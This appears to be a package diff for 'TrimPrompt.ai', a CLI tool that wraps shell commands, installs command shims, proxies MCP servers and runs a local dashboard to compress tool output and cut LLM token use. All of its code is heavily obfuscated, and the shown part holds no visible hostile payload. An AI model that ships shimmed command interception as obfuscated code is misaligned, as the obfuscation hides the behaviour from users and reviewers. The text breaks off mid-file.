_0x3e1d4a=adjustCommandArgs(_0x4ddbdf,_0x1add13),_0xff2fbb=await(0x0,executor_1[_0x262e3b(0x1ff)])(_0x3e1d4a[_0x262e3b(0x21d)],_0x3e1d4a['args']),_0x3608ea=(0x0,filters_1[_0x262e3b(0x1e5)])(_0x3352ea,_0xff2fbb['stdout'],_0xff2fbb['stderr'],tracker_1[_0x262e3b(0x1fe)][_0x262e3b(0x1bc)]()[_0x262e3b(0x1ef)]),_0x31067b=_0xff2fbb['stdout']+(_0xff2fbb[_0x262e3b(0x240)][_0x262e3b(0x1e2)]()[_0x262e3b(0x1eb)]>0x0?'\x0a'+_0xff2fbb[_0x262e3b(0x240)]:'');tracker_1[_0x262e3b(0x1fe)][_0x262e3b(0x201)](_0x3352ea,_0x31067b,_0x3608ea,_0xff2fbb[_0x262e3b(0x236)]),_0xff2fbb[_0x262e3b(0x236)]===0x0?process[_0x262e3b(0x1c6)][_0x262e3b(0x1cb)](_0x3608ea+'\x0a'):(process[_0x262e3b(0x1c6)][_0x262e3b(0x1cb)](_0x3608ea+'\x0a'),_0xff2fbb[_0x262e3b(0x240)][_0x262e3b(0x1e2)]()[_0x262e3b(0x1eb)]>0x0&&!_0x3608ea[_0x262e3b(0x1c0)](_0xff2fbb[_0x262e3b(0x240)]['trim']())&&process[_0x262e3b(0x240)][_0x262e3b(0x1cb)](_0xff2fbb[_0x262e3b(0x240)]+'\x0a')),process[_0x262e3b(0x204)](_0xff2fbb[_0x262e3b(0x236)]);}function a0_0x534e(){const _0x1fcb6b=['executeCommand','-p,\x20--port\x20<number>','logExecution','Money\x20Saved:\x20\x20\x20\x20\x20\x20\x20$','set','exit','shims','then','install','startsWith','./executor','--short','\x20\x20\x20\x20\x20\x20\x20TRIMPROMPT.AI\x20SAVINGS\x20SUMMARY\x20\x20\x20\x20\x20\x20\x20\x20','=============================================','call','stats','win32','message','option','Install\x20or\x20uninstall\x20system\x20command\x20shims','Start\x20the\x20local\x20developer\x20dashboard','--format','--branch','./dashboard','join','6180PKAMKK','[server-args...]','1.0.0','parse','name','cmd','2iEaenJ','./mcp','getOwnPropertyNames','server-mcp','description','5745224AqeHNY','--max-count','uninstallShims','bun','-m,\x20--model\x20<string>','argument','Proxy\x20wrapper\x20for\x20Model\x20Context\x20Protocol\x20(MCP)\x20servers\x20to\x20compact\x20tool\x20outputs','-sb','[TrimPrompt]\x20Fatal\x20Proxy\x20Error:\x20','alias','savings_percentage','port','yarn','Select\x20pricing\x20model\x20(e.g.\x20claude-3-5-sonnet,\x20gpt-4o)','slice','Reduction\x20Rate:\x20\x20\x20\x20','mcp','\x20(after\x20Shave)','-bs','exitCode','--no-merges','create','push','264736ZXmHJn','620793bbzKTT','argv','Raw\x20Tokens:\x20\x20\x20\x20\x20\x20\x20\x20','Config\x20set\x20','toLocaleString','stderr','--pretty','Error:\x20Action\x20must\x20be\x20install\x20or\x20uninstall','model','getOwnPropertyDescriptor','Command\x20line\x20to\x20evaluate','Check\x20a\x20command\x20line\x20and\x20return\x20the\x20optimized\x20command\x20line','=============================================\x0a','--porcelain','toFixed','help','4870evGNgL','action','--version','test','install\x20or\x20uninstall','config','status','16222657IGOMIG','--help','./filters','12697545UfSpxX','<key>','Command\x20to\x20launch\x20the\x20target\x20MCP\x20server','config\x20parameter\x20name','10743138KjdjZb','startDashboard','false','--oneline','model_name','<action>','getConfig','-50','writable','platform','includes','[value]','mcp-proxy','some','__esModule','\x20USD','stdout','toLowerCase','prototype','resolve','__createBinding','write','total_compressed_tokens','Command','error','30DIhxZu','__importStar','modelcontextprotocol','pnpm','server','9DViOMH','rewriteCommand','npx','claude-3-5-sonnet','every','TrimPrompt.ai\x20-\x20Reduce\x20LLM\x20token\x20consumption\x20by\x2060-90%','Compressed:\x20\x20\x20\x20\x20\x20\x20\x20','Estimated\x20Cost:\x20\x20\x20\x20$','hasOwnProperty','__setModuleDefault','command','rewrite','--merges','\x20(before\x20Shave)','trim','total_raw_tokens','<server-command>','compressOutput','Arguments\x20for\x20the\x20target\x20MCP\x20server','Show\x20token\x20and\x20cost\x20savings\x20summary','get','node','true','length','[TrimPrompt]\x20Autodetected\x20MCP\x20server\x20execution.\x20Activating\x20real-time\x20JSON-RPC\x20proxy...','value\x20to\x20set','./shims','redaction_enabled','log','mcp-server','---------------------------------------------','4000','defineProperty','proxy','raw_cost_usd','\x0a=============================================','default','total_tokens_saved','commander','<commandLine>','dashboard','@modelcontextprotocol/','tracker'];a0_0x534e=function(){return _0x1fcb6b;};return a0_0x534e();}program[a0_0x392b81(0x21c)](a0_0x392b81(0x1e2))[a0_0x392b81(0x222)](a0_0x392b81(0x1d9))['version'](a0_0x392b81(0x21a)),program['command']('ui')[a0_0x392b81(0x22c)](a0_0x392b81(0x1fc))['description'](a0_0x392b81(0x213))[a0_0x392b81(0x211)](a0_0x392b81(0x200),'Port\x20to\x20run\x20the\x20dashboard\x20on',a0_0x392b81(0x1f3))['action'](_0x471ff2=>{const _0x50dd9c=a0_0x392b81,_0x171522=parseInt(_0x471ff2[_0x50dd9c(0x22e)],0xa);(0x0,dashboard_1[_0x50dd9c(0x1b7)])(_0x171522);}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x20e))[a0_0x392b81(0x222)](a0_0x392b81(0x1e7))['option'](a0_0x392b81(0x227),a0_0x392b81(0x230),a0_0x392b81(0x1d7))['action'](_0xb7f1f3=>{const _0x528d2b=a0_0x392b81,_0x5ad87f=tracker_1[_0x528d2b(0x1fe)]['getStatsSummary'](_0xb7f1f3[_0x528d2b(0x243)]);console[_0x528d2b(0x1f0)](_0x528d2b(0x1f7)),console[_0x528d2b(0x1f0)](_0x528d2b(0x20b)),console[_0x528d2b(0x1f0)](_0x528d2b(0x20c)),console[_0x528d2b(0x1f0)]('Model\x20Context:\x20\x20\x20\x20\x20'+_0x5ad87f[_0x528d2b(0x1ba)]),console[_0x528d2b(0x1f0)](_0x528d2b(0x23d)+_0x5ad87f[_0x528d2b(0x1e3)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)](_0x528d2b(0x1da)+_0x5ad87f[_0x528d2b(0x1cc)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)]('Tokens\x20Saved:\x20\x20\x20\x20\x20\x20'+_0x5ad87f[_0x528d2b(0x1f9)][_0x528d2b(0x23f)]()),console[_0x528d2b(0x1f0)](_0x528d2b(0x232)+_0x5ad87f[_0x528d2b(0x22d)]+'%'),console[_0x528d2b(0x1f0)](_0x528d2b(0x1db)+_0x5ad87f[_0x528d2b(0x1f6)][_0x528d2b(0x249)](0x4)+_0x528d2b(0x1e1)),console[_0x528d2b(0x1f0)]('Actual\x20Cost:\x20\x20\x20\x20\x20\x20\x20$'+_0x5ad87f['compressed_cost_usd'][_0x528d2b(0x249)](0x4)+_0x528d2b(0x234)),console[_0x528d2b(0x1f0)](_0x528d2b(0x1f2)),console['log'](_0x528d2b(0x202)+_0x5ad87f['money_saved_usd'][_0x528d2b(0x249)](0x4)+_0x528d2b(0x1c5)),console[_0x528d2b(0x1f0)](_0x528d2b(0x247));}),program[a0_0x392b81(0x1de)]('config')[a0_0x392b81(0x222)]('Manage\x20local\x20configuration\x20parameters')['argument'](a0_0x392b81(0x1bb),'get\x20or\x20set')['argument'](a0_0x392b81(0x256),a0_0x392b81(0x1b5))[a0_0x392b81(0x228)](a0_0x392b81(0x1c1),a0_0x392b81(0x1ed))[a0_0x392b81(0x24c)]((_0x28a742,_0x3a2be5,_0x34a0ca)=>{const _0x2ea809=a0_0x392b81;if(_0x28a742===_0x2ea809(0x1e8)){const _0x2449f4=tracker_1[_0x2ea809(0x1fe)]['getConfig']();console[_0x2ea809(0x1f0)](_0x3a2be5+':\x20'+_0x2449f4[_0x3a2be5]);}else{if(_0x28a742===_0x2ea809(0x203)){_0x34a0ca===undefined&&(console[_0x2ea809(0x1ce)]('Error:\x20Value\x20required\x20for\x20set\x20action'),process[_0x2ea809(0x204)](0x1));let _0x4fc53a=_0x34a0ca;if(_0x34a0ca===_0x2ea809(0x1ea))_0x4fc53a=!![];if(_0x34a0ca===_0x2ea809(0x1b8))_0x4fc53a=![];if(/^\d+$/[_0x2ea809(0x24e)](_0x34a0ca))_0x4fc53a=parseInt(_0x34a0ca,0xa);tracker_1[_0x2ea809(0x1fe)]['setConfig'](_0x3a2be5,_0x4fc53a),console[_0x2ea809(0x1f0)](_0x2ea809(0x23e)+_0x3a2be5+'\x20=\x20'+_0x34a0ca);}else console[_0x2ea809(0x1ce)]('Error:\x20Action\x20must\x20be\x20get\x20or\x20set'),process[_0x2ea809(0x204)](0x1);}}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x205))['description'](a0_0x392b81(0x212))['argument'](a0_0x392b81(0x1bb),a0_0x392b81(0x24f))[a0_0x392b81(0x24c)](_0x940d24=>{const _0x357c21=a0_0x392b81;if(_0x940d24===_0x357c21(0x207)){const _0xd31e91=(0x0,shims_1['installShims'])();console[_0x357c21(0x1f0)](_0xd31e91['message']);}else{if(_0x940d24==='uninstall'){const _0x1f9891=(0x0,shims_1[_0x357c21(0x225)])();console['log'](_0x1f9891['message']);}else console[_0x357c21(0x1ce)](_0x357c21(0x242)),process[_0x357c21(0x204)](0x1);}}),program['command'](a0_0x392b81(0x1df))[a0_0x392b81(0x222)](a0_0x392b81(0x246))[a0_0x392b81(0x228)](a0_0x392b81(0x1fb),a0_0x392b81(0x245))['action'](_0x10bb9c=>{const _0x5c15ea=a0_0x392b81;if(isDisabled()){console[_0x5c15ea(0x1f0)](_0x10bb9c);return;}const _0x4926e9=(0x0,filters_1[_0x5c15ea(0x1d5)])(_0x10bb9c);console[_0x5c15ea(0x1f0)](_0x4926e9);}),program[a0_0x392b81(0x1de)](a0_0x392b81(0x1c2))[a0_0x392b81(0x22c)]('mcp')['description'](a0_0x392b81(0x229))[a0_0x392b81(0x228)](a0_0x392b81(0x1e4),a0_0x392b81(0x257))[a0_0x392b81(0x228)](a0_0x392b81(0x219),a0_0x392b81(0x1e6))[a0_0x392b81(0x24c)](async(_0xdcb598,_0x5e7405)=>{const _0x224ac2=a0_0x392b81,{runMcpProxy:_0x2efa43}=await Promise[_0x224ac2(0x1c9)]()[_0x224ac2(0x206)](()=>__importStar(require(_0x224ac2(0x21f))));_0x2efa43(_0xdcb598,_0x5e7405);});const args=process[a0_0x392b81(0x23c)][a0_0x392b81(0x231)](0x2),firstArg=args[0x0],subcommands=['ui',a0_0x392b81(0x1fc),a0_0x392b81(0x20e),a0_0x392b81(0x250),a0_0x392b81(0x205),'rewrite',a0_0x392b81(0x1c2),a0_0x392b81(0x233),a0_0x392b81(0x24a),a0_0x392b81(0x253),'-h','version',a0_0x392b81(0x24d),'-v'];firstArg&&!subcommands[a0_0x392b81(0x1c0)](firstArg)?runProxy(args)['catch'](_0xc51379=>{const _0x5d2b61=a0_0x392b81;console['error'](_0x5d2b61(0x22b)+_0xc51379[_0x5d2b61(0x210)]),process[_0x5d2b61(0x204)](0x1);}):program[a0_0x392b81(0x21b)](process[a0_0x392b81(0x23c)]);
package/dashboard.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x1cb5ad=a0_0x30f2;(function(_0x417286,_0x1e1ab3){const _0x49fae4=a0_0x30f2,_0x3a0b90=_0x417286();while(!![]){try{const _0xa97d48=parseInt(_0x49fae4(0x156))/0x1*(parseInt(_0x49fae4(0x150))/0x2)+-parseInt(_0x49fae4(0x17e))/0x3+parseInt(_0x49fae4(0x161))/0x4+parseInt(_0x49fae4(0x164))/0x5+-parseInt(_0x49fae4(0x169))/0x6*(parseInt(_0x49fae4(0x179))/0x7)+-parseInt(_0x49fae4(0x184))/0x8*(-parseInt(_0x49fae4(0x15b))/0x9)+-parseInt(_0x49fae4(0x178))/0xa*(parseInt(_0x49fae4(0x166))/0xb);if(_0xa97d48===_0x1e1ab3)break;else _0x3a0b90['push'](_0x3a0b90['shift']());}catch(_0x2b8e8f){_0x3a0b90['push'](_0x3a0b90['shift']());}}}(a0_0x25e3,0xe203b));var __createBinding=this&&this['__createBinding']||(Object[a0_0x1cb5ad(0x185)]?function(_0x44e33f,_0x251b6a,_0x1da58b,_0x4a5acd){const _0x7a84=a0_0x1cb5ad;if(_0x4a5acd===undefined)_0x4a5acd=_0x1da58b;var _0x2f5bcc=Object[_0x7a84(0x163)](_0x251b6a,_0x1da58b);(!_0x2f5bcc||(_0x7a84(0x17f)in _0x2f5bcc?!_0x251b6a['__esModule']:_0x2f5bcc[_0x7a84(0x181)]||_0x2f5bcc['configurable']))&&(_0x2f5bcc={'enumerable':!![],'get':function(){return _0x251b6a[_0x1da58b];}}),Object[_0x7a84(0x174)](_0x44e33f,_0x4a5acd,_0x2f5bcc);}:function(_0x3eeeb4,_0x28d58b,_0x1e5ae8,_0x41fb22){if(_0x41fb22===undefined)_0x41fb22=_0x1e5ae8;_0x3eeeb4[_0x41fb22]=_0x28d58b[_0x1e5ae8];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x5554aa,_0x5d5e47){const _0x12c122=a0_0x1cb5ad;Object['defineProperty'](_0x5554aa,_0x12c122(0x16b),{'enumerable':!![],'value':_0x5d5e47});}:function(_0x52b3aa,_0x4a032e){_0x52b3aa['default']=_0x4a032e;}),__importStar=this&&this[a0_0x1cb5ad(0x15d)]||(function(){var _0x351513=function(_0x547845){const _0x2c461b=a0_0x30f2;return _0x351513=Object[_0x2c461b(0x160)]||function(_0x48f73b){const _0x1ee5e5=_0x2c461b;var _0x12109f=[];for(var _0x21d50a in _0x48f73b)if(Object[_0x1ee5e5(0x153)]['hasOwnProperty'][_0x1ee5e5(0x15a)](_0x48f73b,_0x21d50a))_0x12109f[_0x12109f[_0x1ee5e5(0x176)]]=_0x21d50a;return _0x12109f;},_0x351513(_0x547845);};return function(_0x10d0ec){const _0x5aedda=a0_0x30f2;if(_0x10d0ec&&_0x10d0ec['__esModule'])return _0x10d0ec;var _0x1c01da={};if(_0x10d0ec!=null){for(var _0x246a8a=_0x351513(_0x10d0ec),_0x4cafb3=0x0;_0x4cafb3<_0x246a8a[_0x5aedda(0x176)];_0x4cafb3++)if(_0x246a8a[_0x4cafb3]!=='default')__createBinding(_0x1c01da,_0x10d0ec,_0x246a8a[_0x4cafb3]);}return __setModuleDefault(_0x1c01da,_0x10d0ec),_0x1c01da;};}()),__importDefault=this&&this[a0_0x1cb5ad(0x162)]||function(_0x4c1fc2){return _0x4c1fc2&&_0x4c1fc2['__esModule']?_0x4c1fc2:{'default':_0x4c1fc2};};Object[a0_0x1cb5ad(0x174)](exports,'__esModule',{'value':!![]}),exports[a0_0x1cb5ad(0x15c)]=startDashboard;function a0_0x25e3(){const _0x3631d8=['getOwnPropertyNames','2133280aSDsrp','__importDefault','getOwnPropertyDescriptor','7224605IdPpKz','.raw.txt','3319646YediMp','log','join','5874186IlGMBi','.comp.txt','default','../src/index.html','readFileSync','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','message','homedir','query','open','error','defineProperty','json','length','model','30rCodqb','7ecjSaQ','express','./tracker','/api/stats/history','Raw\x20output\x20log\x20file\x20not\x20found.','2299341RYVHYK','get','/api/stats/summary','writable','sendFile','logs','3726312TjhuNg','create','401966AeVeJw','existsSync','.trimprompt','prototype','path','[TrimPrompt]\x20Dashboard\x20error:\x20','1nyqCTt','params','code','tracker','call','27LonWPa','startDashboard','__importStar','listen','/api/stats/inspect/:id'];a0_0x25e3=function(){return _0x3631d8;};return a0_0x25e3();}const express_1=__importDefault(require(a0_0x1cb5ad(0x17a))),path=__importStar(require(a0_0x1cb5ad(0x154))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require(a0_0x1cb5ad(0x172))),tracker_1=require(a0_0x1cb5ad(0x17b)),app=(0x0,express_1[a0_0x1cb5ad(0x16b)])(),baseDir=path[a0_0x1cb5ad(0x168)](os[a0_0x1cb5ad(0x170)](),a0_0x1cb5ad(0x152)),logsDir=path[a0_0x1cb5ad(0x168)](baseDir,a0_0x1cb5ad(0x183));function a0_0x30f2(_0xb947da,_0x5479d8){_0xb947da=_0xb947da-0x150;const _0x25e3a8=a0_0x25e3();let _0x30f20f=_0x25e3a8[_0xb947da];return _0x30f20f;}app[a0_0x1cb5ad(0x17f)]('/',(_0x4ba78d,_0x23660b)=>{const _0x364cd5=a0_0x1cb5ad,_0x2adb1=path['join'](__dirname,'index.html');fs['existsSync'](_0x2adb1)?_0x23660b['sendFile'](_0x2adb1):_0x23660b[_0x364cd5(0x182)](path[_0x364cd5(0x168)](__dirname,_0x364cd5(0x16c)));}),app['get'](a0_0x1cb5ad(0x180),(_0x199229,_0x3a40ae)=>{const _0x33e550=a0_0x1cb5ad,_0x8585a8=_0x199229[_0x33e550(0x171)][_0x33e550(0x177)]||'auto',_0x1f5680=tracker_1[_0x33e550(0x159)]['getStatsSummary'](_0x8585a8);_0x3a40ae[_0x33e550(0x175)](_0x1f5680);}),app[a0_0x1cb5ad(0x17f)](a0_0x1cb5ad(0x17c),(_0x44b8ce,_0x38e836)=>{const _0x36665d=a0_0x1cb5ad,_0x21bd20=tracker_1[_0x36665d(0x159)]['getLogs']();_0x38e836[_0x36665d(0x175)](_0x21bd20);}),app[a0_0x1cb5ad(0x17f)](a0_0x1cb5ad(0x15f),(_0x8f5861,_0x114ab2)=>{const _0x586bd1=a0_0x1cb5ad,_0x149f73=_0x8f5861[_0x586bd1(0x157)]['id'],_0x38da33=path['join'](logsDir,_0x149f73+_0x586bd1(0x165)),_0x34f5f2=path['join'](logsDir,_0x149f73+_0x586bd1(0x16a));let _0x1ab1ab=_0x586bd1(0x17d),_0x200a3d='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0x586bd1(0x151)](_0x38da33)&&(_0x1ab1ab=fs['readFileSync'](_0x38da33,'utf8')),fs[_0x586bd1(0x151)](_0x34f5f2)&&(_0x200a3d=fs[_0x586bd1(0x16d)](_0x34f5f2,'utf8'));}catch(_0x4ccbd9){}_0x114ab2['json']({'id':_0x149f73,'raw':_0x1ab1ab,'compressed':_0x200a3d});});function startDashboard(_0x1ca9fb=0xfa0){const _0x338073=a0_0x1cb5ad;let _0x3da912=_0x1ca9fb;const _0x5f239c=app[_0x338073(0x15e)](_0x3da912,()=>{const _0xfef1ff=_0x338073,_0x149280='http://localhost:'+_0x3da912;console[_0xfef1ff(0x167)](_0xfef1ff(0x16e)+_0x149280),console[_0xfef1ff(0x167)]('Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.'),(0x0,open_1['default'])(_0x149280)['catch'](()=>{});});_0x5f239c['on'](_0x338073(0x173),_0x37b786=>{const _0x450a5a=_0x338073;_0x37b786[_0x450a5a(0x158)]==='EADDRINUSE'?startDashboard(_0x3da912+0x1):console['error'](_0x450a5a(0x155)+_0x37b786[_0x450a5a(0x16f)]);});}
1
+ 'use strict';const a0_0x2f3a67=a0_0x2931;function a0_0x2931(_0x45cd2d,_0x28ea9d){_0x45cd2d=_0x45cd2d-0x88;const _0x3f73c7=a0_0x3f73();let _0x29315e=_0x3f73c7[_0x45cd2d];return _0x29315e;}(function(_0x29e29d,_0x211d89){const _0x5e064d=a0_0x2931,_0x80f877=_0x29e29d();while(!![]){try{const _0x10ca4e=parseInt(_0x5e064d(0xbb))/0x1+parseInt(_0x5e064d(0x88))/0x2*(-parseInt(_0x5e064d(0xa4))/0x3)+-parseInt(_0x5e064d(0xb9))/0x4*(-parseInt(_0x5e064d(0x97))/0x5)+parseInt(_0x5e064d(0x98))/0x6*(parseInt(_0x5e064d(0x9c))/0x7)+parseInt(_0x5e064d(0xae))/0x8+-parseInt(_0x5e064d(0xb3))/0x9+-parseInt(_0x5e064d(0xa2))/0xa;if(_0x10ca4e===_0x211d89)break;else _0x80f877['push'](_0x80f877['shift']());}catch(_0x59757f){_0x80f877['push'](_0x80f877['shift']());}}}(a0_0x3f73,0x35cf3));var __createBinding=this&&this[a0_0x2f3a67(0xb0)]||(Object[a0_0x2f3a67(0xa0)]?function(_0x55c564,_0x27fa31,_0x4d4703,_0x59cb28){const _0x74d132=a0_0x2f3a67;if(_0x59cb28===undefined)_0x59cb28=_0x4d4703;var _0x115e0b=Object[_0x74d132(0x8c)](_0x27fa31,_0x4d4703);(!_0x115e0b||('get'in _0x115e0b?!_0x27fa31[_0x74d132(0x8e)]:_0x115e0b[_0x74d132(0xb5)]||_0x115e0b[_0x74d132(0xb8)]))&&(_0x115e0b={'enumerable':!![],'get':function(){return _0x27fa31[_0x4d4703];}}),Object[_0x74d132(0xa7)](_0x55c564,_0x59cb28,_0x115e0b);}:function(_0x581ac6,_0xdcc1cf,_0x5ec8d4,_0x4091d8){if(_0x4091d8===undefined)_0x4091d8=_0x5ec8d4;_0x581ac6[_0x4091d8]=_0xdcc1cf[_0x5ec8d4];}),__setModuleDefault=this&&this[a0_0x2f3a67(0x9a)]||(Object[a0_0x2f3a67(0xa0)]?function(_0x221679,_0x3890d6){const _0x4f4d7e=a0_0x2f3a67;Object[_0x4f4d7e(0xa7)](_0x221679,_0x4f4d7e(0xa9),{'enumerable':!![],'value':_0x3890d6});}:function(_0x5c72d7,_0x35d3ab){_0x5c72d7['default']=_0x35d3ab;}),__importStar=this&&this['__importStar']||(function(){var _0x2e160c=function(_0x38399d){const _0x561a43=a0_0x2931;return _0x2e160c=Object[_0x561a43(0x91)]||function(_0x40f0a1){const _0x2755e0=_0x561a43;var _0x1d3e40=[];for(var _0x2c9985 in _0x40f0a1)if(Object[_0x2755e0(0xb4)]['hasOwnProperty']['call'](_0x40f0a1,_0x2c9985))_0x1d3e40[_0x1d3e40[_0x2755e0(0xa5)]]=_0x2c9985;return _0x1d3e40;},_0x2e160c(_0x38399d);};return function(_0x44dd3e){const _0x34a5ac=a0_0x2931;if(_0x44dd3e&&_0x44dd3e[_0x34a5ac(0x8e)])return _0x44dd3e;var _0x5ae8f3={};if(_0x44dd3e!=null){for(var _0x4cd826=_0x2e160c(_0x44dd3e),_0x2aa082=0x0;_0x2aa082<_0x4cd826[_0x34a5ac(0xa5)];_0x2aa082++)if(_0x4cd826[_0x2aa082]!==_0x34a5ac(0xa9))__createBinding(_0x5ae8f3,_0x44dd3e,_0x4cd826[_0x2aa082]);}return __setModuleDefault(_0x5ae8f3,_0x44dd3e),_0x5ae8f3;};}()),__importDefault=this&&this[a0_0x2f3a67(0x96)]||function(_0x21aec6){const _0x529108=a0_0x2f3a67;return _0x21aec6&&_0x21aec6[_0x529108(0x8e)]?_0x21aec6:{'default':_0x21aec6};};Object[a0_0x2f3a67(0xa7)](exports,a0_0x2f3a67(0x8e),{'value':!![]}),exports[a0_0x2f3a67(0x90)]=startDashboard;const express_1=__importDefault(require(a0_0x2f3a67(0xbc))),path=__importStar(require(a0_0x2f3a67(0x89))),fs=__importStar(require('fs')),os=__importStar(require('os')),open_1=__importDefault(require('open')),tracker_1=require('./tracker'),app=(0x0,express_1['default'])(),baseDir=path['join'](os[a0_0x2f3a67(0xbd)](),'.trimprompt'),logsDir=path['join'](baseDir,a0_0x2f3a67(0x9f));app[a0_0x2f3a67(0x8b)]('/',(_0x16715f,_0x5a44c9)=>{const _0x5cb9af=a0_0x2f3a67,_0x5d88a2=path[_0x5cb9af(0x94)](__dirname,_0x5cb9af(0xbe));fs[_0x5cb9af(0x9b)](_0x5d88a2)?_0x5a44c9['sendFile'](_0x5d88a2):_0x5a44c9['sendFile'](path[_0x5cb9af(0x94)](__dirname,_0x5cb9af(0xac)));}),app[a0_0x2f3a67(0x8b)]('/api/stats/summary',(_0x366d61,_0x11883d)=>{const _0x21bb4f=a0_0x2f3a67,_0x4d9ea5=_0x366d61[_0x21bb4f(0xa8)]['model']||_0x21bb4f(0x9e),_0x163391=tracker_1[_0x21bb4f(0x9d)][_0x21bb4f(0x8f)](_0x4d9ea5);_0x11883d[_0x21bb4f(0x95)](_0x163391);}),app['get'](a0_0x2f3a67(0xb6),(_0x5d2245,_0x3f2c8d)=>{const _0x2bceab=a0_0x2f3a67,_0x5aa42a=tracker_1[_0x2bceab(0x9d)][_0x2bceab(0xa1)]();_0x3f2c8d[_0x2bceab(0x95)](_0x5aa42a);}),app[a0_0x2f3a67(0x8b)](a0_0x2f3a67(0x8d),(_0x2354a9,_0x418287)=>{const _0x36a7ab=a0_0x2f3a67,_0x1a4e34=_0x2354a9[_0x36a7ab(0x8a)]['id'],_0x2d6375=path['join'](logsDir,_0x1a4e34+_0x36a7ab(0x99)),_0x3a040e=path[_0x36a7ab(0x94)](logsDir,_0x1a4e34+_0x36a7ab(0x92));let _0x4bffc9=_0x36a7ab(0xaf),_0x57e342='Compressed\x20output\x20log\x20file\x20not\x20found.';try{fs[_0x36a7ab(0x9b)](_0x2d6375)&&(_0x4bffc9=fs[_0x36a7ab(0xb2)](_0x2d6375,_0x36a7ab(0xba))),fs[_0x36a7ab(0x9b)](_0x3a040e)&&(_0x57e342=fs[_0x36a7ab(0xb2)](_0x3a040e,_0x36a7ab(0xba)));}catch(_0x199094){}_0x418287[_0x36a7ab(0x95)]({'id':_0x1a4e34,'raw':_0x4bffc9,'compressed':_0x57e342});});function startDashboard(_0x1fe7f8=0xfa0){const _0x4ed799=a0_0x2f3a67;let _0x4f692b=_0x1fe7f8;const _0x3d0154=app[_0x4ed799(0x93)](_0x4f692b,()=>{const _0x5102bd=_0x4ed799,_0x4dd568=_0x5102bd(0xaa)+_0x4f692b;console[_0x5102bd(0xab)](_0x5102bd(0xad)+_0x4dd568),console['log'](_0x5102bd(0xb7)),(0x0,open_1[_0x5102bd(0xa9)])(_0x4dd568)[_0x5102bd(0xa3)](()=>{});});_0x3d0154['on']('error',_0x191587=>{const _0x27fe03=_0x4ed799;_0x191587[_0x27fe03(0xa6)]==='EADDRINUSE'?startDashboard(_0x4f692b+0x1):console['error']('[TrimPrompt]\x20Dashboard\x20error:\x20'+_0x191587[_0x27fe03(0xb1)]);});}function a0_0x3f73(){const _0x3d1326=['1594MNqfZO','path','params','get','getOwnPropertyDescriptor','/api/stats/inspect/:id','__esModule','getStatsSummary','startDashboard','getOwnPropertyNames','.comp.txt','listen','join','json','__importDefault','90siDvxi','6oEXUQc','.raw.txt','__setModuleDefault','existsSync','3057677bZzRTb','tracker','auto','logs','create','getLogs','9248660UtDEjQ','catch','741eBQxxD','length','code','defineProperty','query','default','http://localhost:','log','../src/index.html','\x0a[TrimPrompt]\x20Dashboard\x20server\x20started\x20at:\x20','3475184IZTegd','Raw\x20output\x20log\x20file\x20not\x20found.','__createBinding','message','readFileSync','1889541gQvdSz','prototype','writable','/api/stats/history','Press\x20Ctrl+C\x20in\x20this\x20terminal\x20to\x20shut\x20down.','configurable','85056stprKZ','utf8','298116UQGsOo','express','homedir','index.html'];a0_0x3f73=function(){return _0x3d1326;};return a0_0x3f73();}
package/executor.js CHANGED
@@ -1 +1 @@
1
- 'use strict';function a0_0x2bdc(){var _0x166f77=['split','6nbQvAL','delimiter','trim','join','2102080csHHRG','create','toLowerCase','2058292eZBiXw','\x22:\x20','Failed\x20to\x20spawn\x20command\x20\x22','__setModuleDefault','homedir','writable','get','787Jpepfo','spawn','default','1143320sVtupE','stderr','data','590JiQsap','length','getOwnPropertyNames','__createBinding','shims','message','pipe','filter','stdout','path','438126mqEHIO','hasOwnProperty','defineProperty','137214WTbJTW','__esModule','child_process','1916samhmQ','executeCommand','call','2630348oIzqaR'];a0_0x2bdc=function(){return _0x166f77;};return a0_0x2bdc();}var a0_0x5673ec=a0_0x3e07;function a0_0x3e07(_0x5dc80d,_0x345a2a){_0x5dc80d=_0x5dc80d-0x12c;var _0x2bdcc6=a0_0x2bdc();var _0x3e0706=_0x2bdcc6[_0x5dc80d];return _0x3e0706;}(function(_0x221730,_0x5d94b3){var _0xdbc84b=a0_0x3e07,_0x3eeb09=_0x221730();while(!![]){try{var _0x4f6d36=-parseInt(_0xdbc84b(0x12d))/0x1*(-parseInt(_0xdbc84b(0x143))/0x2)+parseInt(_0xdbc84b(0x13d))/0x3+parseInt(_0xdbc84b(0x14f))/0x4+parseInt(_0xdbc84b(0x14c))/0x5*(parseInt(_0xdbc84b(0x148))/0x6)+-parseInt(_0xdbc84b(0x146))/0x7+-parseInt(_0xdbc84b(0x130))/0x8+parseInt(_0xdbc84b(0x140))/0x9*(-parseInt(_0xdbc84b(0x133))/0xa);if(_0x4f6d36===_0x5d94b3)break;else _0x3eeb09['push'](_0x3eeb09['shift']());}catch(_0x3d64f7){_0x3eeb09['push'](_0x3eeb09['shift']());}}}(a0_0x2bdc,0x65c10));var __createBinding=this&&this[a0_0x5673ec(0x136)]||(Object[a0_0x5673ec(0x14d)]?function(_0x3e8756,_0xf482d8,_0x4aeaa8,_0x380d9c){var _0x416724=a0_0x5673ec;if(_0x380d9c===undefined)_0x380d9c=_0x4aeaa8;var _0x3af9d4=Object['getOwnPropertyDescriptor'](_0xf482d8,_0x4aeaa8);(!_0x3af9d4||(_0x416724(0x12c)in _0x3af9d4?!_0xf482d8[_0x416724(0x141)]:_0x3af9d4[_0x416724(0x154)]||_0x3af9d4['configurable']))&&(_0x3af9d4={'enumerable':!![],'get':function(){return _0xf482d8[_0x4aeaa8];}}),Object[_0x416724(0x13f)](_0x3e8756,_0x380d9c,_0x3af9d4);}:function(_0x59bbc7,_0x1bc0b1,_0x115ca1,_0x1efbd7){if(_0x1efbd7===undefined)_0x1efbd7=_0x115ca1;_0x59bbc7[_0x1efbd7]=_0x1bc0b1[_0x115ca1];}),__setModuleDefault=this&&this[a0_0x5673ec(0x152)]||(Object[a0_0x5673ec(0x14d)]?function(_0x2f0a65,_0x2498d8){var 